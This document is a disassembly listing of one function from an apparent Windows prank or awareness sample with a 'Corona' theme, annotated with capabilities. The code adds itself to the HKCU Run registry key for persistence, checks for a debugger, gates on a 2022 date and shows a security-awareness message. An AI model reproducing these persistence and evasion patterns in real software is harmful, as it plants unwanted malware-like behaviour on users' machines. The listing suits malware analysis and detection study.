Function at 0x4014e0
Capabilities:
Create thread
Hide graphical window
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x150
mov eax, dword [0x418004]
xor eax, ebp
mov dword [ebp - 4], eax
mov ax, word [0x416c64]
movq xmm0, qword [str.2022_12_31]
push ebx
mov word [ebp - 0x148], ax
mov al, byte [0x416c66]
push esi
mov esi, dword [ebp + 8]
mov byte [ebp - 0x146], al
lea eax, [ebp - 0x140]
push edi
push eax
movq qword [ebp - 0x150], xmm0
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0xb
lea eax, [ebp - 0x10]
push eax
push str.yyyy_MM_dd
lea eax, [ebp - 0x140]
push eax
push 0
push 0x400
call dword [sym.imp.KERNEL32.dll_GetDateFormatA]
lea ecx, [ebp - 0x150]
lea eax, [ebp - 0x10]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401576
test dl, dl
je 0x401572
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401576
add eax, 2
add ecx, 2
test dl, dl
jne 0x401556
xor eax, eax
jmp 0x40157b
sbb eax, eax
or eax, 1
test eax, eax
jg 0x4016b2
call dword [sym.imp.COMCTL32.dll_InitCommonControls]
push 0
push 0x401440
push 0
push 0x65
push esi
call dword [sym.imp.USER32.dll_CreateDialogParamA]
push dword [ebp + 0x14]
mov esi, eax
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x4015c5
push 0x419430
push eax
push eax
push 0x401010
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0x2710
push 0xfa
push esi
call dword [sym.imp.USER32.dll_SetTimer]
push 0x3ec
push esi
call dword [sym.imp.USER32.dll_GetDlgItem]
push str.In_these_horrible_corona_times__you_should_be_much_more_aware_of_IT_security._r_nThis_time_you_got_lucky__and_this_is_just_to_raise_your_awareness.__r_nSo_no_harm_done...I_guess.__r_n_r_nHere_are_some_suggestions_for_your:_r_n_r_n1._Never_ever_download_a_program_and_run_it_unless_you_are_certain_of_its_origin._r_n2._Respect_the_warnings_given_to_you_by_your_windows_machine._r_n3._If_in_doubt_contact_your_IT_Department.
push 1
push 0xc2
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
push 0x104
lea eax, [ebp - 0x114]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x144]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push 0x104
lea eax, [ebp - 0x114]
push eax
push 1
push 0
push str.Corona
push dword [ebp - 0x144]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x144]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
push 0
push 0
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x4016b2
mov edi, dword [sym.imp.USER32.dll_IsDialogMessageA]
mov ebx, dword [sym.imp.USER32.dll_TranslateMessage]
cmp eax, 0xffffffff
je 0x4016c7
lea eax, [ebp - 0x130]
push eax
push esi
call edi
test eax, eax
jne 0x40169b
lea eax, [ebp - 0x130]
push eax
call ebx
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
push 0
push 0
push 0
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x401672
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040176e
mov esp, ebp
pop ebp
ret 0x10
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040176e
mov esp, ebp
pop ebp
ret 0x10